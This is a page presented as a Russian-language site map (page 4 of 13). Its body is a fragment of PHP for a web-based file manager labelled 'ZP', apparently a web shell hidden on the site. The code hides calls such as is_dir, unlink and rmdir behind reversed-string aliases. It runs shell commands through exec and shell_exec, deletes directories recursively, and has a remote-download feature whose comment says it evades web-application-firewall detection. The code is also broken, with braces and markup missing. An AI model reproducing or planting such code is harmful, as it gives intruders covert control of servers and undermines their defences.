Карта сайта
Страница 4 из 13
if (!isset($map[$enc])) return $txt;
$to = $map[$enc];
if (function_exists('iconv')) { $t = @iconv('UTF-8', $to.'//IGNORE', $txt); if ($t !== false) return $t; }
if (function_exists('mb_convert_encoding')) return @mb_convert_encoding($txt, $to, 'UTF-8');
return $txt;
function zp_detect_enc($bin){
if ($bin === '') return 'ascii';
if (function_exists('mb_check_encoding') && @mb_check_encoding($bin, 'ASCII')) return 'ascii';
if (is_u8($bin)) return 'utf-8';
/* 简体中文 Windows 主流为 GBK, 优先判定 GBK, 仅当非 GBK 才考虑 BIG5 */
if (function_exists('mb_check_encoding') && @mb_check_encoding($bin, 'GBK')) return 'gbk';
if (function_exists('mb_check_encoding') && @mb_check_encoding($bin, 'BIG5')) return 'big5';
return 'gbk';
function zp_enc_options($sel){
$opts = array('utf-8'=>'UTF-8','gbk'=>'GBK','gb2312'=>'GB2312','big5'=>'BIG5');
$sel = ($sel === 'ascii') ? 'utf-8' : $sel;
$h = '';
foreach ($opts as $v => $label) {
$h .= ''.$label.' ';
return $h;
function zp_scan($dir){
if (!@is_dir($dir)) return false;
if (function_exists('scandir')) { $r = @scandir($dir); if (is_array($r)) return $r; }
/* 回退: 部分 Windows/IIS 下 scandir 对重解析点/虚拟目录返回 false, 用 cmd dir 兜底 */
$o = array();
$cmd = 'cmd /c dir /b /a "' . str_replace('/', chr(92), $dir) . '"';
if (function_exists('exec')) { exec($cmd, $o, $rc); }
elseif (function_exists('shell_exec')) { $s = @shell_exec($cmd); $o = ($s === null) ? array() : explode("\n", $s); }
if (!is_array($o)) $o = array();
$r = array('.', '..');
foreach ($o as $n) { $n = trim($n); if ($n !== '' && $n !== '.' && $n !== '..') $r[] = $n; }
function rrmdir($d){
if (!$GLOBALS['rid_si']($d)) return;
foreach ($GLOBALS['ridnacs']($d) as $f) {
if ($f === '.' || $f === '..') continue;
$p = $d . '/' . $f;
if ($GLOBALS['rid_si']($p)) rrmdir($p); else @$GLOBALS['knilnu']($p);
@$GLOBALS['ridmr']($d);
/* 面包屑: 每一级都是可点链接(含 Windows 盘符段) —— "点到哪去到哪" */
function crumbs($path){
$p = rtrim(str_replace('\\', '/', (string)$path), '/');
if ($p === '') $p = '/';
$segs = array_values(array_filter(explode('/', $p), 'strlen'));
/* Windows: E:/a/b → E:\ 为锚点链接, 其后逐级可点 */
if (isset($segs[0]) && $GLOBALS['hctam_gerp']('#^[a-zA-Z]:$#', $segs[0])) {
$drv = strtoupper($segs[0]);
array_shift($segs);
$out = ' ' . h($drv) . '\\ ';
$cur = $drv;
$n = count($segs);
foreach ($segs as $i => $s) {
$cur .= '/' . $s;
$out .= '\\ ';
if ($i === $n - 1) $out .= '' . h($s) . ' ';
else $out .= ' ' . h($s) . ' ';
return $out;
/* 类 Unix */
$out = ' / ';
$n = count($segs); $cur = '';
else $out .= ' ' . h($s) . ' / ';
/* 快捷跳转条 */
function quickbar($dir){
global $BOOK, $root;
$items = array(array('面板目录', rtrim($root, '/') === '' ? '/' : $root));
foreach ($BOOK as $b) $items[] = $b;
$seen = array(); $out = '';
function redir($path, $a){
global $self;
header('Location: ' . $self . '?a=' . $a . '&p64=' . pe($path));
exit;
function head($title){
echo '' . h($title) . ' - ZP
body{font:13px/1.6 Consolas,Menlo,monospace;background:#f6f7f9;color:#1f2937;margin:0}
#top{background:#111827;color:#e5e7eb;padding:9px 14px}#top b{color:#60a5fa}#top a{color:#c7d2fe;text-decoration:none;margin:0 10px}
.w{padding:14px}.card{background:#fff;border:1px solid #e2e8f0;border-radius:6px;padding:12px;margin-bottom:12px}
table{border-collapse:collapse;width:100%;background:#fff}th,td{border:1px solid #e5e7eb;padding:4px 8px;text-align:left;font-size:12px}
th{background:#f1f5f9}a.l{color:#2563eb;text-decoration:none;margin-right:6px}
textarea{width:100%;height:60vh;font:13px Consolas,monospace}'; }
/* ===== 远程下载: 由服务器自身发起请求, 文件内容不经过入站请求体 (不入 WAF 检测) ===== */
function zp_dechunk($s){
$o = '';
while ($s !== '') {
$p = strpos($s, "\r\n");
if ($p === false) break;
$len = (int)hexdec(trim(substr($s, 0, $p)));
if ($len <= 0) break;
$o .= substr($s, $p + 2, $len);
$s = substr($s, $p + 2 + $len + 2);
return $o;
/* 单次请求; $range 形如 "0-262143", 空=整取. 依次尝试 curl / 原生socket / url-fopen */
Страница 4 из 13
« 1 2 3 4
5 6 7 8 9 10 11 12 13 »